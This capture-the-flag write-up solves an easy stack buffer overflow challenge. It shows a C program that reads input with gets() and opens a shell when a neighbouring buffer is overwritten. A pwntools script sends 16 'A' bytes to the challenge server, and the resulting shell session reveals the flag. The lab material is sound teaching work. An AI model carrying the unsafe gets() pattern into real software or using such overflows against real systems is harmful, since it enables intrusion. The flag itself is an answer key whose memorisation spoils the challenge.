Rating:

# Overflow 1 (125 points)

## Description

ez overflow.

nc cyberyoddha.baycyber.net 10001

## Solution

Here is the file we were given.

```c
int main(void) {
char str[] = "AAAA";
char buf[16];

gets(buf);

if (!(str[0] == 'A' && str[1] == 'A' && str[2] == 'A' && str[3] == 'A')){
system("/bin/sh");
}
}
```

Buffer is defined as 16, so let's write small python script using pwntools.

```python
from pwn import *

payload = "A"*16

s = remote("cyberyoddha.baycyber.net", 10001)
s.sendline(payload)
s.interactive()
```
```shell
$ python overflow1.py
[+] Opening connection to cyberyoddha.baycyber.net on port 10001: Done
[*] Switching to interactive mode
$ ls
flag.txt
overflow1
$ cat flag.txt
CYCTF{st@ck_0v3rfl0ws_@r3_3z}
```

This task can be done easier: just enter 16 A using nc and get the flag

Flag: CYCTF{st@ck_0v3rfl0ws_@r3_3z}

Original writeup (https://github.com/holypower777/ctf_writeups/tree/main/cyberYoddhaCTF_2020/overflow).